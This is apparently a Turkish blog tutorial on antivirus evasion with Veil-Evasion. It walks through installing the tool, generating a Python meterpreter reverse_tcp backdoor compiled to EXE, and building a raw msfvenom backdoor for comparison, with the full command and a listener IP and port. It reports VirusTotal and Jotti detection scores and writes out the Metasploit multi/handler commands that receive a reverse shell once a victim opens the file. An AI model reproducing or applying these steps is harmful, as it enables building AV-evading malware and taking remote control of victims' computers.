Anti-Virüs Atlatma 2 Merhaba, bu yazımızda işleyeceğimiz araç Veil-evasion dur. Veil, açık kaynak kodlu olarak geliştirilen bir framework tür. Biz Veil framework içerisindeki anti-virüs atlatma aracı olan Veil-evasion u kullanacağız. Kurulum Linux üstüne kurulumu için mevcut kodlarının olduğu Github sayfasından (https://github.com/veil-framework/veil-evasion) indirip setup klasörünün altında bulunan setup.sh scripti ile kurulumu yapabilirsiniz. git clone https://github.com/veil-framework/veil-evasion.git cd Veil-Evasion/setup bash setup.sh -s
Veya depo dan direkt olarak bağımlılıklarıyla beraber kurulumunu yapabilirsiniz. Bunun için; apt-get install veil-evasion Çok sayıda paketi de kendisiyle beraber kuracaktır. İndirme ve kurulum işlemleri bittikten sonra terminal ekranında yapılandırılan konfigürasyonlar ve dosya yolları görünecektir. 32 bit bir işletim sisteminde daha rahat olacaktır kurulum işlemi. 64 bit sistemlerde kurulum yapıldığı zaman, gerekli yan uygulamalar ve wine 32bitlik sistemlere göre kurulacak ve yapılandırılacaktır, çoğu zaman da hata ile
karşılaşılabilmektedir. Konfigürasyon dosyası olan /etc/veil/settings.py içerisinde sisteminize uygun değişiklikleri yapabilirsiniz. Konfigürasyon dosyasında boş olarak görünen alan olan MSFVENOM_OPTIONS kısmı payload oluşturma sırasında ham bir payload yerine ek parametrelerle bir payload oluşturma imkanı sağlar. Örnek olarak oluşturma sırasında seçilecek bir encode tekniği kullanılarak birkaç iterasyondan geçirmesi sağlanabilir. Veil-evasion Kaynak koddan kurduysanız Veil-Evasion klasöründeki Veil- Evasion.py dosyasını çalıştırarak, depodan kurduysanız, komut satırından veil-evasion komutunu girerek başlatabilirsiniz. Başlangıç ekranından görüldüğü üzere şu an için kullandığımız versiyon olan 2.22.1 için kullanılabilecek 47 payload vardır.
Kullanım Kullanımı Metasploit ile benzerdir ve TAB ile tamamlama desteği vardır. Öncelikle list diyerek kullanılabilecek payloadları görelim. Aşağıda verilmiş olan resimden de anlaşılacağı üzere C, C#, GO, Python, Ruby, Powershell gibi dilleri kullanarak oluşturulabilen payloadları vardır. Bir payloadı seçmek için use komutunu kullanmanız gerekmektedir. use [Payload index numarası] veya use [Payload ismi] kullanım şekilleri ile kullanılabilir.
Örnek Örnek olarak Python ile yazılmış, meterpreter ile bize reverse_tcp bağlantı verecek olan payloadı kullanalım. Seçtiğimiz payload: python/meterpreter/rev_tcp, index numarası 31.Bu payloadı kullanmak için use 31 veya use python/meterpreter/rev_tcp diyoruz.
Gelen ekranda görüldüğü üzere birçok parametre vardır > Bunları teker teker açıklamak gerekise; ARCHITECTURE: Varsayılan olarak 32 bittir. Üretilecek olan zararlı yazılımın işlemci mimarisini belirtir. COMPILE_TO_EXE: Varsayılan olarak Y dir. Üretilecek olan zararlı yazılımın çalıştırılabilir bir dosya tipi olarak EXE ye dönüştürülmesini belirtir. EXPIRE_PAYLOAD: Opsiyonel olarak kullanılabilir bir alandır. Devre dışı bırakılacak özelliği tanımlamamızı sağlar. LHOST: Metasploit te dinlemeyi yapacağımız handler in IP adresi. LPORT: Metasploit te dinlemeyi yapacağımız handler in port adresi. USE_PYHERION: Varsayılan olarak N dir. Üretilecek zararlı yazılımın ek olarak Python un pyherion şifrelemesinden geçirileceğini belirtir. Msfvenom ile Backdoor Veil ile oluşturacağımız zararlı yazılım ile karşılaştırıp farkı görmek açısından önce Metasploit araçlarından olan msfvenom ile basit bir arka kapı oluşturalım. msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.17.7.132 LPORT=7788 -f exe -o rawbackdoor.exe Oluşturduğumuz zararlı yazılımı online bir anti-virüs tarama sitesi olan https://www.virustotal.com/ üstünde tarayalım ve
sonuçları görelim. Not: Bu tarz sistemler çıktılardan gelen sonuçları anti-virüs firmalarıyla paylaştığı ve imza tabanlı çalıştığı için, önceden yapılan taramalardan dolayı oluşturulan payloadları çok sayıda anti-virus yazılımı keşfedebilir düzeye gelmiştir. Bu yüzden anti-virus bypass uygulamalarında bir not olarak, online sistemlerde taratmayın diye not düşebilirler. Veil ile Backdoor Veil üstünde oluşturacağımız zararlı yazılımın, seçtiğimiz modüle göre, gerekli parametrelerini girdikten sonra generate komutu ile oluşturma işlemini başlatabiliriz. Generate dedikten sonra oluşturma işlemine başlamadan önce bize çıktı olarak vereceği dosyanın adını ne koyacağımızı soruyor. Bu değer default olarak payload olarak belirlenmiştir. Seçtiğimiz modülün parametrelerinden olan COMPILE_TO_EXE ye argüman olarak Y değerini verdiğimiz için oluşturalacak olan Python dosyasını exe olarak çalıştırılabilir dosya formatına dönüştürecektir. Burada oluşturulan çıktı dosyasının, çalıştırılabilir dosya formatına
dönüştürülmesi işlemi farklı python modülleri gerçekleşebilmektedir. Veil içinde default olarak Pyinstaller kullanılmaktadır. Bizde bu yazı sırasında 1 seçeneğinde bulunan Pyinstaller ı kullanacağız. 1 değerini girdikten sonra arka kapı oluşturma işlemi başlıyor. Zararlı yazılımın oluşturma işlemi tamamlandı. Verilen çıktıda, oluşturulan zararlı yazılım ile ilgili birkaç özellik bulunmaktadır. Bunlar, hangi dilde oluşturulduğu, payload olarak hangi metasploit payload ı kullanıldığı, kullanılan parametreler ve bunlara verilen değerler, payload dosyasının (zararlı yazılımımızın) bulunduğu konum ve handler dosyasının bulunduğu konum.
Metasploit Handler Resource Burada oluşturulan handler dosyası (resource), Metasploit tarafında gelen bağlantıları bekleme sırasında oluşturacağımız handler in script versiyonudur. Handler dosyası ile Metasploit tarafında, otomatik olarak komutları oluşturulan, oluşturduğumuz zararlı yazılıma göre parametreleri girip beklemeyi başlatabiliriz. Scripti Metasploit üstünde çalıştırmak için komut satırından msfconsole -r [Resource dosya konumu] veya açık olan Metasploit komut ekranında resource komutuyla şu şekilde yapılabilir resource [Resource dosya konumu]. Örnek bir kullanım aşağıda verilmiştir. Tarama sonucu Oluşturulan zararlı yazılımın, yapmamamız gereken, online tarama sonucu aşağıda ki resimlerde verilmiştir. İlk olarak popüler olan VirusTotal sayfasında yaptığımız taramanın sonucunu paylaşalım. Bir başka online tarama sayfası olan https://virusscan.jotti.org/ üstündeki taramanın sonucu ise aşağıdaki gibidir.
Jotti üzerinde ilk oluşturduğumuz msfvenom ile ham backdoorzararlı yazılımın tarama sonucunu da paylaşırsak aradaki farkı daha net görebilirsiniz. Reverse Bağlantı Oluşturduğumuz zararlı yazılım öncelikle Metasploit tarafında dinlemeye almamız gerekiyor, gelen bağlantıları yakalamak için. Bunu yukarıda belirttiğimiz resource dosyası ile veya kendimiz multi/handler modülünü kullanarak gerekli opsiyonları düzenleyip dinlemeyi başlatmamız gerek. Bunun için oluşturduğumuz payloada göre girilecek komutlar aşağıdaki gibidir. use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 172.17.7.132 set lport 7788 set exitonsession false exploit -j -z
Dinlemeyi başlattığımıza göre şimdi bekleme sırasında, kurbanın bir şekilde bunu açtığını varsayarsak, meterpreter shell için session ımız oluşuyor. Aktif sessionları listeleyip, bir tanesine geçiş yaptıktan sonra sistem hakkında kısa bir bilgi alma komutu çalıştıralım. Başka Bir Örnek Veil-evasion üstünde kullandığımız python/meterpreter/rev_tcp modülünden sonra kısaca başka bir modül için alınan sonuçları görelim. Kullanılan modül yine aynı aileden fakat farklı bir protokol ile çalışan python/meterpreter/rev_https modülü. Gerekli parametreleri düzenledikten sonra generate diyerek oluşturma işlemini başlatıyoruz.
Oluşturulan zararlı yazılımın, online tarama sonucu aşağıda ki resimlerde verilmiştir. İlk olarak popüler olan VirusTotal sayfasında yaptığımız taramanın sonucunu görelim. Bir diğer tarama sayfası olan Jotti den gelen sonucunu görelim.